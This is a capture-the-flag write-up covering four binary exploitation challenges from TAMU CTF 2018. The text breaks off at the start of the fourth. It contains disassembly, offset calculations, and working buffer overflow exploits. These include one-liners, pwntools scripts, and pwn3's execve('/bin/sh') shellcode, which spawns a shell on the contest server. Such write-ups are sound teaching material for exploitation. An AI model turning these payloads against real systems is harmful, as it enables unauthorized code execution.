The Texas A&M University CTF (ctftime.org) ran for over one week from 17/02/2018, 00:00 UTC to 26/02/2018 00:00 UTC. There have been a lot of challenges starting at a very easy difficulty.
I did the five pwn challenges ranging from 25 to 200 points:
–> pwn1 (25 pts)
–> pwn2 (50 pts)
–> pwn3 (75 pts)
–> pwn4 (125 pts)
–> pwn5 (200 pts)
pwn1 (25 pts)
Each of the five challenges provided a binary (ELF x86) and a hostname / port of the server on which the binary is running.
Let’s get started with pwn1
using checksec
to see what security mechanism are enabled:
root@kali:~/Downloads/pwn_tamu# checksec pwn1 [*] '/root/Downloads/pwn_tamu/pwn1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
No stack canary has been found, which means that we might be able to leverage a buffer overflow on the stack.
When running the program we are asked for a secret and are able to enter something:
root@kali:~/Downloads/pwn_tamu# ./pwn1 This is a super secret program Noone is allowed through except for those who know the secret! What is my secret? aaa That is not the secret word!
Using radare2
we can analyze the binary:
root@kali:~/Downloads/pwn_tamu# r2 pwn1 [0x08048450]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [ ] [*] Use -AA or aaaa to perform additional experimental analysis. [x] Constructing a function name for fcn.* and sym.func.* functions (aan))
At first we can list all functions using the command afl
:
[0x08048450]> afl 0x08048390 3 35 sym._init 0x080483d0 1 6 sym.imp.gets 0x080483e0 1 6 sym.imp._IO_getc 0x080483f0 1 6 sym.imp.puts 0x08048400 1 6 sym.imp.__libc_start_main 0x08048410 1 6 sym.imp.setvbuf 0x08048420 1 6 sym.imp.fopen 0x08048430 1 6 sym.imp.putchar 0x08048440 1 6 sub.__gmon_start___252_440 0x08048450 1 33 entry0 0x08048480 1 4 sym.__x86.get_pc_thunk.bx 0x08048490 4 43 sym.deregister_tm_clones 0x080484c0 4 53 sym.register_tm_clones 0x08048500 3 30 sym.__do_global_dtors_aux 0x08048520 4 43 -> 40 sym.frame_dummy 0x0804854b 4 103 sym.print_flag 0x080485b2 4 152 sym.main 0x08048650 4 93 sym.__libc_csu_init 0x080486b0 1 2 sym.__libc_csu_fini 0x080486b4 1 20 sym._fini
There is a function called sym.print_flag
. Obviously our goal is to call this function to get the flag.
Let’s have a look at the main
function in order to understand how the program works. Within r2
a function can be disassembled with the command pdf
:
[0x08048450]> pdf @ sym.main ;-- main: / (fcn) sym.main 152 | sym.main (); | ; var int local_23h @ ebp-0x23 | ; var int local_ch @ ebp-0xc | ; var int local_4h_2 @ ebp-0x4 | ; var int local_4h @ esp+0x4 | ; DATA XREF from 0x08048467 (entry0) | 0x080485b2 8d4c2404 lea ecx, dword [esp + local_4h] ; 0x4 | 0x080485b6 83e4f0 and esp, 0xfffffff0 | 0x080485b9 ff71fc push dword [ecx - 4] | 0x080485bc 55 push ebp | 0x080485bd 89e5 mov ebp, esp | 0x080485bf 51 push ecx | 0x080485c0 83ec24 sub esp, 0x24 ; '$' | 0x080485c3 a130a00408 mov eax, dword [obj.stdout] ; [0x804a030:4]=0x3a434347 LEA obj.stdout ; "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609" @ 0x804a030 | 0x080485c8 6a00 push 0 | 0x080485ca 6a00 push 0 | 0x080485cc 6a02 push 2 | 0x080485ce 50 push eax | 0x080485cf e83cfeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size); | 0x080485d4 83c410 add esp, 0x10 | 0x080485d7 83ec0c sub esp, 0xc | 0x080485da 6800870408 push str.This_is_a_super_secret_program ; str.This_is_a_super_secret_program ; "This is a super secret program" @ 0x8048700 | 0x080485df e80cfeffff call sym.imp.puts ; int puts(const char *s); | 0x080485e4 83c410 add esp, 0x10 | 0x080485e7 83ec0c sub esp, 0xc | 0x080485ea 6820870408 push str.Noone_is_allowed_through_except_for_those_who_know_the_secret_ ; str.Noone_is_allowed_through_except_for_those_who_know_the_secret_ ; "Noone is allowed through except for those who know the secret!" @ 0x8048720 | 0x080485ef e8fcfdffff call sym.imp.puts ; int puts(const char *s); | 0x080485f4 83c410 add esp, 0x10 | 0x080485f7 83ec0c sub esp, 0xc | 0x080485fa 685f870408 push str.What_is_my_secret_ ; str.What_is_my_secret_ ; "What is my secret?" @ 0x804875f | 0x080485ff e8ecfdffff call sym.imp.puts ; int puts(const char *s); | 0x08048604 83c410 add esp, 0x10 | 0x08048607 c745f4000000. mov dword [ebp - local_ch], 0 | 0x0804860e 83ec0c sub esp, 0xc | 0x08048611 8d45dd lea eax, dword [ebp - local_23h] | 0x08048614 50 push eax | 0x08048615 e8b6fdffff call sym.imp.gets ; char*gets(char *s); | 0x0804861a 83c410 add esp, 0x10 | 0x0804861d 817df411ba07. cmp dword [ebp - local_ch], 0xf007ba11 ; [0xf007ba11:4]=-1 | ,=< 0x08048624 7507 jne 0x804862d | | 0x08048626 e820ffffff call sym.print_flag ; floating_point rint(arithmetic x); | ,==< 0x0804862b eb10 jmp 0x804863d | || ; JMP XREF from 0x08048624 (sym.main) | |`-> 0x0804862d 83ec0c sub esp, 0xc | | 0x08048630 6872870408 push str.That_is_not_the_secret_word_ ; str.That_is_not_the_secret_word_ ; "That is not the secret word!" @ 0x8048772 | | 0x08048635 e8b6fdffff call sym.imp.puts ; int puts(const char *s); | | 0x0804863a 83c410 add esp, 0x10 | | ; JMP XREF from 0x0804862b (sym.main) | `--> 0x0804863d b800000000 mov eax, 0 | 0x08048642 8b4dfc mov ecx, dword [ebp - local_4h_2] | 0x08048645 c9 leave | 0x08048646 8d61fc lea esp, dword [ecx - 4] \ 0x08048649 c3 ret [0x08048450]>
The relevant parts are highlighted. There is a local variable stored at ebp-0xc
, which is initialized with 0 (first highlighted line). On the next highlighted line the address of ebp-0x23
is moved to eax
, which is then pushed on the stack. This is the argument to the call to gets
on the third highlighted line. Using gets
is dangerous since the function does not do any boundary checks:
root@kali:~/Downloads/pwn_tamu# man gets NAME fgetc, fgets, getc, getchar, gets, ungetc - input of characters and strings SYNOPSIS #include <stdio.h> ... char *gets(char *s); int ungetc(int c, FILE *stream); DESCRIPTION ... gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0'). No check for buffer overrun is performed (see BUGS below).
After the function call to gets
the local variable stored at ebp-0xc
is compared to the value 0xf007ba11
. If the comparison succeeds the jne
on the following line is not taken. Thus the next line is executed which calls the function sym.print_flag
.
This means that we have to set the local variable stored at ebp-0xc
to the value 0xf007ba11
. Our user input is stored beginning at ebp-0x23
(the argument to gets
). Since gets
does not do any boundary checks we can simply write so much bytes that we overwrite the local variable stored at ebp-0xc
.
How much bytes do we have to write? Well, since our input is stored beginning at ebp-0x23
and the local variable we want to overwrite at ebp-0xc
we just have to subtract one from the other:
[0x08048450]> ! rax2 0x23-0xc 23
Thus we have to write 23 bytes + the value we want to write into the local variable stored at ebp-0xc
. Since we want the sym.print_flag
function to be called, we need to overwrite it with the value 0xf007ba11
. Remember that an integer is stored in little endian:
root@kali:~/Downloads/pwn_tamu# python -c 'print("X"*23+"\x11\xba\x07\xf0")' | nc pwn.ctf.tamu.edu 4321 This is a super secret program Noone is allowed through except for those who know the secret! What is my secret? How did you figure out my secret?! gigem{H0W_H4RD_1S_TH4T?}
Done 🙂 The flag is gigem{H0W_H4RD_1S_TH4T?}
.
pwn2 (50 pts)
We start by viewing the enabled security mechanisms using checksec
:
root@kali:~/Downloads/pwn_tamu# checksec pwn2 [*] '/root/Downloads/pwn_tamu/pwn2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
As well as pwn1
there is no stack canary.
When running the program we can input a string which is echoed again:
root@kali:~/Downloads/pwn_tamu# ./pwn2 I just love repeating what other people say! I bet I can repeat anything you tell me! aaa aaa
Here I entered aaa
which is simply repeated. Let’s have a look at the assembly using r2
:
root@kali:~/Downloads/pwn_tamu# r2 pwn2 [0x08048450]> aaa ... [0x08048450]> afl 0x08048390 3 35 sym._init 0x080483d0 1 6 sym.imp.gets 0x080483e0 1 6 sym.imp._IO_getc 0x080483f0 1 6 sym.imp.puts 0x08048400 1 6 sym.imp.__libc_start_main 0x08048410 1 6 sym.imp.setvbuf 0x08048420 1 6 sym.imp.fopen 0x08048430 1 6 sym.imp.putchar 0x08048440 1 6 sub.__gmon_start___252_440 0x08048450 1 33 entry0 0x08048480 1 4 sym.__x86.get_pc_thunk.bx 0x08048490 4 43 sym.deregister_tm_clones 0x080484c0 4 53 sym.register_tm_clones 0x08048500 3 30 sym.__do_global_dtors_aux 0x08048520 4 43 -> 40 sym.frame_dummy 0x0804854b 4 103 sym.print_flag 0x080485b2 1 68 sym.echo 0x080485f6 1 87 sym.main 0x08048650 4 93 sym.__libc_csu_init 0x080486b0 1 2 sym.__libc_csu_fini 0x080486b4 1 20 sym._fini
Yet again there is a function called sym.print_flag
which is stored at 0x0804854b
.
At first we have a look at the main
function:
[0x08048450]> pdf @ sym.main ;-- main: / (fcn) sym.main 87 | sym.main (); | ; var int local_4h_2 @ ebp-0x4 | ; var int local_4h @ esp+0x4 | ; DATA XREF from 0x08048467 (entry0) | 0x080485f6 8d4c2404 lea ecx, dword [esp + local_4h] ; 0x4 | 0x080485fa 83e4f0 and esp, 0xfffffff0 | 0x080485fd ff71fc push dword [ecx - 4] | 0x08048600 55 push ebp | 0x08048601 89e5 mov ebp, esp | 0x08048603 51 push ecx | 0x08048604 83ec04 sub esp, 4 | 0x08048607 a130a00408 mov eax, dword [obj.stdout] ; [0x804a030:4]=0x3a434347 LEA obj.stdout ; "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609" @ 0x804a030 | 0x0804860c 6a00 push 0 | 0x0804860e 6a00 push 0 | 0x08048610 6a02 push 2 | 0x08048612 50 push eax | 0x08048613 e8f8fdffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size); | 0x08048618 83c410 add esp, 0x10 | 0x0804861b 83ec0c sub esp, 0xc | 0x0804861e 6800870408 push str.I_just_love_repeating_what_other_people_say_ ; str.I_just_love_repeating_what_other_people_say_ ; "I just love repeating what other people say!" @ 0x8048700 | 0x08048623 e8c8fdffff call sym.imp.puts ; int puts(const char *s); | 0x08048628 83c410 add esp, 0x10 | 0x0804862b 83ec0c sub esp, 0xc | 0x0804862e 6830870408 push str.I_bet_I_can_repeat_anything_you_tell_me_ ; str.I_bet_I_can_repeat_anything_you_tell_me_ ; "I bet I can repeat anything you tell me!" @ 0x8048730 | 0x08048633 e8b8fdffff call sym.imp.puts ; int puts(const char *s); | 0x08048638 83c410 add esp, 0x10 | 0x0804863b e872ffffff call sym.echo | 0x08048640 b800000000 mov eax, 0 | 0x08048645 8b4dfc mov ecx, dword [ebp - local_4h_2] | 0x08048648 c9 leave | 0x08048649 8d61fc lea esp, dword [ecx - 4] \ 0x0804864c c3 ret
Within the main
function the initial output of the program is displayed using puts
. After this there is a call to sym.echo
. This is where our input should be read:
[0x08048450]> pdf @ sym.echo / (fcn) sym.echo 68 | sym.echo (); | ; var int local_efh @ ebp-0xef | ; CALL XREF from 0x0804863b (sym.main) | 0x080485b2 55 push ebp | 0x080485b3 89e5 mov ebp, esp | 0x080485b5 81ecf8000000 sub esp, 0xf8 | 0x080485bb a130a00408 mov eax, dword [obj.stdout] ; [0x804a030:4]=0x3a434347 LEA obj.stdout ; "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609" @ 0x804a030 | 0x080485c0 6a00 push 0 | 0x080485c2 6a00 push 0 | 0x080485c4 6a02 push 2 | 0x080485c6 50 push eax | 0x080485c7 e844feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size); | 0x080485cc 83c410 add esp, 0x10 | 0x080485cf 83ec0c sub esp, 0xc | 0x080485d2 8d8511ffffff lea eax, dword [ebp - local_efh] | 0x080485d8 50 push eax | 0x080485d9 e8f2fdffff call sym.imp.gets ; char*gets(char *s); | 0x080485de 83c410 add esp, 0x10 | 0x080485e1 83ec0c sub esp, 0xc | 0x080485e4 8d8511ffffff lea eax, dword [ebp - local_efh] | 0x080485ea 50 push eax | 0x080485eb e800feffff call sym.imp.puts ; int puts(const char *s); | 0x080485f0 83c410 add esp, 0x10 | 0x080485f3 90 nop | 0x080485f4 c9 leave \ 0x080485f5 c3 ret [0x08048450]>
On the highlighted line gets
is called to read the user input. As we have already seen in pwn1
the function gets
does not do any boundary checks and we can thus cause a buffer overflow.
In pwn1
we used the buffer overflow to overwrite a local variable on the stack. In addition to local variables the return address of every function call is stored on the stack. The ret
instruction at the end of a function pops this return address from the stack and puts it into the instruction pointer eip
. This way the execution proceeds with the instructions stored at the return address.
If we input enough bytes to overwrite the return address, we can control the instruction pointer and can set it to the address of the function sym.print_flag
. This way the function will be executed printing the flag.
At first we have to know how much bytes we have to write in order to overwrite the return address. In other words: we have to know the offset from the buffer where our input is stored to the return address.
This can be achieved by using a pattern, which is basically a sequence of different characters. When the return address is overwritten with a part of our pattern the program will raise a segmentation fault because the instruction pointer is set to an invalid address. When we inspect the instruction pointer after the segmentation fault was raised, we can see which part of the pattern has been loaded into the instruction pointer and calculate the offset within our pattern. All this can be done using gdb-peda
:
gdb-peda$ pattern create 300 /tmp/pattern_pwn2 Writing pattern of 300 chars to filename "/tmp/pattern_pwn2" gdb-peda$ r < /tmp/pattern_pwn2 Starting program: /root/Downloads/pwn_tamu/pwn2 < /tmp/pattern_pwn2 I just love repeating what other people say! I bet I can repeat anything you tell me! AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x12d EBX: 0x0 ECX: 0xf7faddc7 --> 0xfae8940a EDX: 0xf7fae894 --> 0x0 ESI: 0xf7fad000 --> 0x1cfd70 EDI: 0x0 EBP: 0x25416125 ('%aA%') ESP: 0xffffd340 ("A%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") EIP: 0x46254130 ('0A%F') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x46254130 [------------------------------------stack-------------------------------------] 0000| 0xffffd340 ("A%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0004| 0xffffd344 ("%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0008| 0xffffd348 ("GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0012| 0xffffd34c ("A%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0016| 0xffffd350 ("%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0020| 0xffffd354 ("dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0024| 0xffffd358 ("A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0028| 0xffffd35c ("%eA%4A%JA%fA%5A%KA%gA%6A%") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x46254130 in ?? ()
Within gdb-peda
we can create a pattern using the command pattern create <length> <file>
. Here I created a pattern of 300 bytes and then run the program with that pattern (r < /tmp/pattern_pwn2
).
The program raises a segmentation fault and the instruction pointer eip
has been set to 0x46254130
(ASCII: "0A%F"
). This is the part of our pattern which overwrote the return address on the stack. In order to calculate the offset we can simply use the command pattern offset <part of pattern>
(in this case simply $eip
):
gdb-peda$ pattern offset $eip 1176846640 found at offset: 243
Thus we have to write 243 bytes + the address of sym.print_flag
in order to get the function called:
root@kali:~/Downloads/pwn_tamu# python -c 'print("X"*243 + "\x4b\x85\x04\x08")' | nc pwn.ctf.tamu.edu 4322 I just love repeating what other people say! I bet I can repeat anything you tell me! XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXK� This function has been deprecated gigem{3ch035_0f_7h3_p4s7}
We could also write a little python-script using pwntools
(I introduce this here because I am going to use this from now on):
root@kali:~/Downloads/pwn_tamu# cat pwn2.py from pwn import * p = remote("pwn.ctf.tamu.edu", 4322) p.recvuntil("tell me!") p.sendline("X"*243+p32(0x804854b)) p.recvuntil("deprecated\n") print(p.recv(100))
Running the script:
root@kali:~/Downloads/pwn_tamu# python pwn2.py [+] Opening connection to pwn.ctf.tamu.edu on port 4322: Done gigem{3ch035_0f_7h3_p4s7} [*] Closed connection to pwn.ctf.tamu.edu port 4322
Finished! The flag is gigem{3ch035_0f_7h3_p4s7}
.
pwn3 (75 pts)
As usual we start by checking which security mechanisms are enabled:
root@kali:~/Downloads/pwn_tamu# checksec pwn3 [*] '/root/Downloads/pwn_tamu/pwn3' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
Unlike the last two binaries NX
is disabled. This means that the stack is executable and we can store and execute a shellcode on the stack.
Like pwn2
the program simply repeats the input we enter:
root@kali:~/Downloads/pwn_tamu# ./pwn3 Welcome to the New Echo application 2.0! Changelog: - Less deprecated flag printing functions! - New Random Number Generator! Your random number 0xff8201ca! Now what should I echo? aaaa aaaa
But there is also a random number
being printed. Let's analyze the binary using r2
:
root@kali:~/Downloads/pwn_tamu# r2 pwn3 [0x080483d0]> aaa ... [0x080483d0]> afl 0x08048330 3 35 sym._init 0x08048370 1 6 sym.imp.printf 0x08048380 1 6 sym.imp.gets 0x08048390 1 6 sym.imp.puts 0x080483a0 1 6 sym.imp.__libc_start_main 0x080483b0 1 6 sym.imp.setvbuf 0x080483c0 1 6 sub.__gmon_start___252_3c0 0x080483d0 1 33 entry0 0x08048400 1 4 sym.__x86.get_pc_thunk.bx 0x08048410 4 43 sym.deregister_tm_clones 0x08048440 4 53 sym.register_tm_clones 0x08048480 3 30 sym.__do_global_dtors_aux 0x080484a0 4 43 -> 40 sym.frame_dummy 0x080484cb 1 87 sym.echo 0x08048522 1 87 sym.main 0x08048580 4 93 sym.__libc_csu_init 0x080485e0 1 2 sym.__libc_csu_fini 0x080485e4 1 20 sym._fini
This time there seems to be no print_flag
function. Let's have a look at the main
function:
[0x080483d0]> pdf @ sym.main ;-- main: / (fcn) sym.main 87 | sym.main (); | ; var int local_4h_2 @ ebp-0x4 | ; var int local_4h @ esp+0x4 | ; DATA XREF from 0x080483e7 (entry0) | 0x08048522 8d4c2404 lea ecx, dword [esp + local_4h] ; 0x4 | 0x08048526 83e4f0 and esp, 0xfffffff0 | 0x08048529 ff71fc push dword [ecx - 4] | 0x0804852c 55 push ebp | 0x0804852d 89e5 mov ebp, esp | 0x0804852f 51 push ecx | 0x08048530 83ec04 sub esp, 4 | 0x08048533 a128a00408 mov eax, dword [obj.stdout] ; [0x804a028:4]=0x3a434347 LEA obj.stdout ; "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609" @ 0x804a028 | 0x08048538 6a00 push 0 | 0x0804853a 6a00 push 0 | 0x0804853c 6a02 push 2 | 0x0804853e 50 push eax | 0x0804853f e86cfeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size); | 0x08048544 83c410 add esp, 0x10 | 0x08048547 83ec0c sub esp, 0xc | 0x0804854a 6834860408 push str.Welcome_to_the_New_Echo_application_2.0_ ; str.Welcome_to_the_New_Echo_application_2.0_ ; "Welcome to the New Echo application 2.0!" @ 0x8048634 | 0x0804854f e83cfeffff call sym.imp.puts ; int puts(const char *s); | 0x08048554 83c410 add esp, 0x10 | 0x08048557 83ec0c sub esp, 0xc | 0x0804855a 6860860408 push str.Changelog:_n__Less_deprecated_flag_printing_functions__n__New_Random_Number_Generator__n ; str.Changelog:_n__Less_deprecated_flag_printing_functions__n__New_Random_Number_Generator__n ; "Changelog:.- Less deprecated flag printing functions!.- New Random Number Generator!." @ 0x8048660 | 0x0804855f e82cfeffff call sym.imp.puts ; int puts(const char *s); | 0x08048564 83c410 add esp, 0x10 | 0x08048567 e85fffffff call sym.echo | 0x0804856c b800000000 mov eax, 0 | 0x08048571 8b4dfc mov ecx, dword [ebp - local_4h_2] | 0x08048574 c9 leave | 0x08048575 8d61fc lea esp, dword [ecx - 4] \ 0x08048578 c3 ret
No input is read here yet, but again a function named sym.echo
is called:
[0x080483d0]> pdf @ sym.echo / (fcn) sym.echo 87 | sym.echo (); | ; var int local_eeh @ ebp-0xee | ; CALL XREF from 0x08048567 (sym.main) | 0x080484cb 55 push ebp | 0x080484cc 89e5 mov ebp, esp | 0x080484ce 81ecf8000000 sub esp, 0xf8 | 0x080484d4 83ec08 sub esp, 8 | 0x080484d7 8d8512ffffff lea eax, dword [ebp - local_eeh] | 0x080484dd 50 push eax | 0x080484de 6800860408 push str.Your_random_number__p__n ; str.Your_random_number__p__n ; "Your random number %p!." @ 0x8048600 | 0x080484e3 e888feffff call sym.imp.printf ; int printf(const char *format); | 0x080484e8 83c410 add esp, 0x10 | 0x080484eb 83ec0c sub esp, 0xc | 0x080484ee 6818860408 push str.Now_what_should_I_echo_ ; str.Now_what_should_I_echo_ ; "Now what should I echo? " @ 0x8048618 | 0x080484f3 e878feffff call sym.imp.printf ; int printf(const char *format); | 0x080484f8 83c410 add esp, 0x10 | 0x080484fb 83ec0c sub esp, 0xc | 0x080484fe 8d8512ffffff lea eax, dword [ebp - local_eeh] | 0x08048504 50 push eax | 0x08048505 e876feffff call sym.imp.gets ; char*gets(char *s); | 0x0804850a 83c410 add esp, 0x10 | 0x0804850d 83ec0c sub esp, 0xc | 0x08048510 8d8512ffffff lea eax, dword [ebp - local_eeh] | 0x08048516 50 push eax | 0x08048517 e874feffff call sym.imp.puts ; int puts(const char *s); | 0x0804851c 83c410 add esp, 0x10 | 0x0804851f 90 nop | 0x08048520 c9 leave \ 0x08048521 c3 ret [0x080483d0]>
On the first highlighted lines the random number
is printed using printf
. Within the format string for printf
the format specifier %p
is used, which prints an address. On the lines before the call this address in pushed on the stack: ebp - local_eeh
. We will found out what this is shortly.
On the second highlighted lines the function gets
is called. As we already know this function is vulnerable to buffer overflows. Take a look at the buffer being passed on the stack before the function call: ebp - local_eeh
. This is exactly the address which is printed beforehand as the so called random number
! This means that we know the exact location of the buffer for our input on the stack. If we store a shellcode in the buffer and leverage gets
to overwrite the return address, we can make the instruction pointer point to our shellcode.
At first we calculate the offset to the return address using the same technique as we used for pwn2
:
gdb-peda$ pattern create 300 /tmp/pattern_pwn3 Writing pattern of 300 chars to filename "/tmp/pattern_pwn3" gdb-peda$ r < /tmp/pattern_pwn3 Starting program: /root/Downloads/pwn_tamu/pwn3 < /tmp/pattern_pwn3 Welcome to the New Echo application 2.0! Changelog: - Less deprecated flag printing functions! - New Random Number Generator! Your random number 0xffffd24a! Now what should I echo? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x12d EBX: 0x0 ECX: 0xf7faddc7 --> 0xfae8940a EDX: 0xf7fae894 --> 0x0 ESI: 0xf7fad000 --> 0x1cfd70 EDI: 0x0 EBP: 0x41612541 ('A%aA') ESP: 0xffffd340 ("FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") EIP: 0x25413025 ('%0A%') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x25413025 [------------------------------------stack-------------------------------------] 0000| 0xffffd340 ("FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0004| 0xffffd344 ("A%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0008| 0xffffd348 ("%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0012| 0xffffd34c ("cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0016| 0xffffd350 ("A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0020| 0xffffd354 ("%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0024| 0xffffd358 ("3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0028| 0xffffd35c ("A%eA%4A%JA%fA%5A%KA%gA%6A%") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x25413025 in ?? () gdb-peda$ pattern offset $eip 625029157 found at offset: 242
The offset from the buffer where our input is stored to the return address is 242 byte.
We can now write a python-script which stores a shellcode in the buffer and overwrites the return address with the random number
printed by the program, which is - as we figured out - the address of our buffer.
root@kali:~/Downloads/pwn_tamu# cat pwn3.py from pwn import * shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"\ "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40"\ "\xcd\x80" p = remote("pwn.ctf.tamu.edu", 4323) ret = p.recvuntil("echo?") addr_buf = int(ret[0x94:0x9c], 16) # the output contains the address of our buffer ("random number") expl = "\x90" * (242 - 20 - len(shellcode)) # nop-sled expl += shellcode # shellcode expl += "\x90" * 20 # fill-bytes expl += p32(addr_buf) # overwrite return address p.sendline(expl) p.recv(1000) p.recv(1000) p.interactive()
For the shellcode I simply took one from shell-storm.org which makes a syscall to execve
passing the string "/bin/sh"
(for more details on shellcoding see my writeup for RPISEC/MBE lab03.
Running the script spawns a shell on the server and we can read the flag:
root@kali:~/Downloads/pwn_tamu# python pwn3.py [+] Opening connection to pwn.ctf.tamu.edu on port 4323: Done [*] Switching to interactive mode $ whoami pwnuser $ ls -al total 20 drwxr-xr-x 2 pwnflag pwnflag 4096 Feb 9 17:02 . drwxr-xr-x 46 root root 4096 Feb 17 07:01 .. -r--r--r-- 1 pwnflag pwnflag 34 Feb 9 04:32 flag.txt -rwsr-xr-x 1 pwnflag pwnflag 7520 Feb 9 04:32 pwn3 $ cat flag.txt gigem{n0w_w3_4r3_g377in6_s74r73d}
Done 🙂 The flag is gigem{n0w_w3_4r3_g377in6_s74r73d}
.
pwn4 (125 pts)
As usual we start by checking which security mechanisms are enabled using checksec
:
root@kali:~/Downloads/pwn_tamu# checksec pwn4 [*] '/root/Downloads/pwn_tamu/pwn4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
Nothing suspicious here. Just like the last three binaries there is no stack canary, which means that we can probably leverage a buffer overflow on the stack.
When running the program we can choose four different shell-commands to be executed:
root@kali:~/Downloads/pwn_tamu# ./pwn4 I am a reduced online shell Your options are: 1. ls 2. cal 3. pwd 4. whoami 5. exit Input> 4 root I am a reduced online shell Your options are: 1. ls 2. cal 3. pwd 4. whoami 5. exit Input> 5
Let's have a look at the disassembly:
root@kali:~/Downloads/pwn_tamu# r2 pwn4 [0x08048490]> aaa ... [0x08048490]> afl 0x080483b4 3 35 sym._init 0x080483f0 1 6 sym.imp.strcmp 0x08048400 1 6 sym.imp.printf 0x08048410 1 6 sym.imp.gets 0x08048420 1 6 sym.imp.puts 0x08048430 1 6 sym.imp.system 0x08048440 1 6 sym.imp.exit 0x08048450 1 6 sym.imp.__libc_start_main 0x08048460 1 6 sym.imp.setvbuf 0x08048470 1 6 sym.imp.putchar 0x08048480 1 6 sub.__gmon_start___252_480 0x08048490 1 33 entry0 0x080484c0 1 4 sym.__x86.get_pc_thunk.bx 0x080484d0 4 43 sym.deregister_tm_clones 0x08048500 4 53 sym.register_tm_clones 0x08048540 3 30 sym.__do_global_dtors_aux 0x08048560 4 43 -> 40 sym.frame_dummy 0x0804858b 1 25 sym.ls 0x080485a4 1 25 sym.cal 0x080485bd 1 25 sym.pwd 0x080485d6 1 25 sym.whoami 0x080485ef 17 404 sym.reduced_shell 0x08048783 2 37 -> 44 sym.main 0x080487b0 4 93 sym.__libc_csu_init 0x08048810 1 2 sym.__libc_csu_fini 0x08048814 1 20 sym._fini
We can see that the libc function system
is included, probably in order to execute the commands. For each command there is a user defined function (sym.ls
, sym.cal
, ...).
Let's have a look at the main
function:
